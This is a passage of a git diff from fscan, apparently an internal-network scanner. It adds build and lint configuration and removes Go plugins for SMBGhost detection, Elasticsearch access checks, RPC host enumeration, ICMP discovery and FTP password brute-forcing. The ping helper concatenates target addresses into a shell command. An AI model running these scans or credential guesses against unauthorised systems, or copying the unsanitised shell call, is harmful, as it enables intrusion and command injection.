race_report.txt
|
||||
test_output.txt
|
||||
|
||||
# Build artifacts / 构建产物
|
||||
build/
|
||||
bin/
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Web UI build / Web前端构建
|
||||
web-ui/node_modules/
|
||||
web-ui/dist/
|
||||
!web/dist/
|
||||
|
||||
# Go specific / Go 相关
|
||||
vendor/
|
||||
*.test
|
||||
*.prof
|
||||
*.mem
|
||||
*.cpu
|
||||
__debug_bin*
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Performance profiling / 性能分析
|
||||
profiles/
|
||||
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
||||
# Cleaner plugin artifacts / 清理插件产物
|
||||
cleanup.bat
|
||||
cleanup.sh
|
||||
cleanup_script_*
|
||||
|
||||
# Compilation objects / 编译对象文件
|
||||
*.o
|
||||
*.a
|
||||
@@ -0,0 +1,52 @@
|
||||
# golangci-lint v2 配置
|
||||
version: "2"
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
linters:
|
||||
default: none
|
||||
enable:
|
||||
- govet
|
||||
- errcheck
|
||||
- staticcheck
|
||||
- unused
|
||||
- ineffassign
|
||||
- gocyclo
|
||||
- gocognit
|
||||
settings:
|
||||
govet:
|
||||
disable:
|
||||
- printf
|
||||
errcheck:
|
||||
check-type-assertions: true
|
||||
exclude-functions:
|
||||
- (net.Conn).Close
|
||||
- (*os.File).Close
|
||||
- os.Remove
|
||||
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||
gocyclo:
|
||||
min-complexity: 35
|
||||
gocognit:
|
||||
min-complexity: 80
|
||||
exclusions:
|
||||
generated: lax
|
||||
rules:
|
||||
- path: _test\.go
|
||||
linters:
|
||||
- gocyclo
|
||||
- gocognit
|
||||
- errcheck
|
||||
- linters:
|
||||
- govet
|
||||
text: "fieldalignment:"
|
||||
paths:
|
||||
- vendor
|
||||
- testdocker
|
||||
- image
|
||||
- mylib/grdp
|
||||
|
||||
issues:
|
||||
max-issues-per-linter: 50
|
||||
max-same-issues: 3
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 shadow1ng
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,191 @@
|
||||
# fscan Makefile
|
||||
# 提供统一的构建、测试、检查命令
|
||||
|
||||
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||
|
||||
# 默认目标
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# 项目配置
|
||||
BINARY_NAME := fscan
|
||||
GO := go
|
||||
GOLANGCI_LINT := golangci-lint
|
||||
|
||||
# 颜色输出
|
||||
BLUE := \033[0;34m
|
||||
GREEN := \033[0;32m
|
||||
RED := \033[0;31m
|
||||
NC := \033[0m # No Color
|
||||
|
||||
## help: 显示帮助信息
|
||||
help:
|
||||
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||
@echo ""
|
||||
@echo "$(GREEN)可用命令:$(NC)"
|
||||
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||
@echo ""
|
||||
|
||||
## deps: 下载依赖
|
||||
deps:
|
||||
@echo "$(BLUE)下载依赖...$(NC)"
|
||||
$(GO) mod download
|
||||
$(GO) mod verify
|
||||
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||
|
||||
## test: 运行测试
|
||||
test:
|
||||
@echo "$(BLUE)运行测试...$(NC)"
|
||||
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||
$(GO) test -vet=off -race -v ./...
|
||||
@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||
|
||||
## test-cover: 运行测试并生成覆盖率报告
|
||||
test-cover:
|
||||
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||
# 禁用go test内置的vet检查,原因同上
|
||||
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
@echo ""
|
||||
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||
$(GO) tool cover -func=coverage.out | tail -1
|
||||
@echo ""
|
||||
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||
|
||||
## build: 构建生产版本(无 pprof,优化体积)
|
||||
build:
|
||||
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||
|
||||
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||
build-web: build-ui
|
||||
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)"
|
||||
|
||||
## build-ui: 构建前端(需要Node.js和npm)
|
||||
build-ui:
|
||||
@echo "$(BLUE)构建前端...$(NC)"
|
||||
@if [ ! -d "web-ui" ]; then \
|
||||
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||
echo "请先创建前端项目"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@cd web-ui && npm install && npm run build
|
||||
@rm -rf web/dist
|
||||
@cp -r web-ui/dist web/dist
|
||||
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||
|
||||
## build-debug: 构建调试版本(带 pprof)
|
||||
build-debug:
|
||||
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||
|
||||
## build-race: 构建 race 检测版本
|
||||
build-race:
|
||||
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||
|
||||
## build-all: 构建所有平台的二进制文件
|
||||
build-all:
|
||||
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||
@echo "Windows amd64..."
|
||||
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||
@echo "Linux amd64..."
|
||||
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||
@echo "Darwin amd64..."
|
||||
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||
|
||||
## lint: 运行代码检查
|
||||
lint:
|
||||
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run ./...
|
||||
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||
|
||||
## lint-fix: 运行代码检查并自动修复
|
||||
lint-fix:
|
||||
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run --fix ./...
|
||||
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||
|
||||
## clean: 清理构建产物
|
||||
clean:
|
||||
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||
rm -f coverage.out coverage.html
|
||||
rm -rf dist/ tests/logs/
|
||||
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||
|
||||
## stress-test: 压力测试(需要先 build-debug)
|
||||
stress-test:
|
||||
@echo "$(BLUE)压力测试...$(NC)"
|
||||
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||
echo "请先运行 'make build-debug'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@if [ -f tests/stress_test.sh ]; then \
|
||||
bash tests/stress_test.sh; \
|
||||
else \
|
||||
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||
echo "请先创建压力测试脚本"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
## ci: CI流程(lint + test + build)
|
||||
ci: lint test build
|
||||
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||
|
||||
## install-tools: 安装开发工具
|
||||
install-tools:
|
||||
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||
@echo "检查 golangci-lint..."
|
||||
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||
$(GOLANGCI_LINT) version; \
|
||||
else \
|
||||
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||
if command -v go >/dev/null 2>&1; then \
|
||||
echo "使用 go install 安装..."; \
|
||||
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||
$(GOLANGCI_LINT) version || \
|
||||
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||
exit 1; }; \
|
||||
else \
|
||||
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
fi
|
||||
|
||||
## fmt: 格式化代码
|
||||
fmt:
|
||||
@echo "$(BLUE)格式化代码...$(NC)"
|
||||
$(GO) fmt ./...
|
||||
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||
|
||||
## vet: 运行 go vet(跳过printf检查)
|
||||
vet:
|
||||
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||
$(GO) vet -printf=false ./...
|
||||
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||
@@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, port)
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write([]byte(pkt))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"445": SmbScan,
|
||||
"1433":MssqlScan,
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9200":elasticsearchScan,
|
||||
"11211":MemcachedScan,
|
||||
"27017":MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
"1000003":WebTitle,
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func elasticsearchScan(info *common.HostInfo) error {
|
||||
_, err := geturl2(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func geturl2(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
|
||||
var client = &http.Client{
|
||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
DisableKeepAlives: false,
|
||||
DialContext: (&net.Dialer{
|
||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
||||
}).DialContext,
|
||||
},
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
|
||||
res, err := http.NewRequest("GET", url, nil)
|
||||
if err == nil {
|
||||
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept", "*/*")
|
||||
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding", "gzip, deflate")
|
||||
res.Header.Add("Connection", "close")
|
||||
resp, err := client.Do(res)
|
||||
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
if strings.Contains(string(body), "/_cat/master") {
|
||||
result := fmt.Sprintf("Elastic:%s unauthorized", url)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, 135)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(bufferV1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV2)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return err
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag {
|
||||
return err
|
||||
}
|
||||
err = read(text, info.Host)
|
||||
return err
|
||||
}
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "NetInfo:\n[*]" + host
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host, err := hex.DecodeString(hostname[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result += "\n [->]" + string(host)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
if err == nil {
|
||||
flag = true
|
||||
result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
//defer conn.Logout()
|
||||
if err == nil {
|
||||
if len(dirs) > 0 {
|
||||
for i := 0; i < len(dirs); i++ {
|
||||
if len(dirs[i].Name) > 50 {
|
||||
result += "\n [->]" + dirs[i].Name[:50]
|
||||
} else {
|
||||
result += "\n [->]" + dirs[i].Name
|
||||
}
|
||||
if i == 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
-186
@@ -1,186 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"golang.org/x/net/icmp"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var AliveHosts []string
|
||||
|
||||
var SysInfo = GetSys()
|
||||
|
||||
type SystemInfo struct {
|
||||
OS string
|
||||
HostName string
|
||||
Groupid string
|
||||
Userid string
|
||||
Username string
|
||||
}
|
||||
|
||||
func GetSys() SystemInfo {
|
||||
var sysinfo SystemInfo
|
||||
|
||||
sysinfo.OS = runtime.GOOS
|
||||
name, err := os.Hostname()
|
||||
if err == nil {
|
||||
sysinfo.HostName = name
|
||||
} else {
|
||||
name = "none"
|
||||
}
|
||||
|
||||
u, err := user.Current()
|
||||
if err == nil {
|
||||
sysinfo.Groupid = u.Gid
|
||||
sysinfo.Userid = u.Uid
|
||||
sysinfo.Username = u.Username
|
||||
} else {
|
||||
sysinfo.Groupid = "1"
|
||||
sysinfo.Userid = "1"
|
||||
sysinfo.Username = name
|
||||
}
|
||||
|
||||
return sysinfo
|
||||
}
|
||||
|
||||
func IcmpCheck(hostslist []string) {
|
||||
TmpHosts := make(map[string]struct{})
|
||||
var chanHosts = make(chan string)
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
endflag := false
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := TmpHosts[ip]; !ok {
|
||||
TmpHosts[ip] = struct{}{}
|
||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
write(host, conn)
|
||||
}
|
||||
|
||||
if len(hostslist) > 255 {
|
||||
time.Sleep(6 * time.Second)
|
||||
} else {
|
||||
time.Sleep(3 * time.Second)
|
||||
}
|
||||
|
||||
endflag = true
|
||||
close(chanHosts)
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func write(ip string, conn *icmp.PacketConn) {
|
||||
dst, _ := net.ResolveIPAddr("ip", ip)
|
||||
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string, bsenv string) bool {
|
||||
var command *exec.Cmd
|
||||
if SysInfo.OS == "windows" {
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "linux" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
}
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err = command.Wait(); err != nil {
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(outinfo.String(), "true") {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PingCMDcheck(hostslist []string, bsenv string) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
mutex.Lock()
|
||||
fmt.Printf("(Ping) Target '%s' is alive\n", host)
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
||||
if SysInfo.OS == "windows" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "")
|
||||
}
|
||||
} else if SysInfo.OS == "linux" {
|
||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
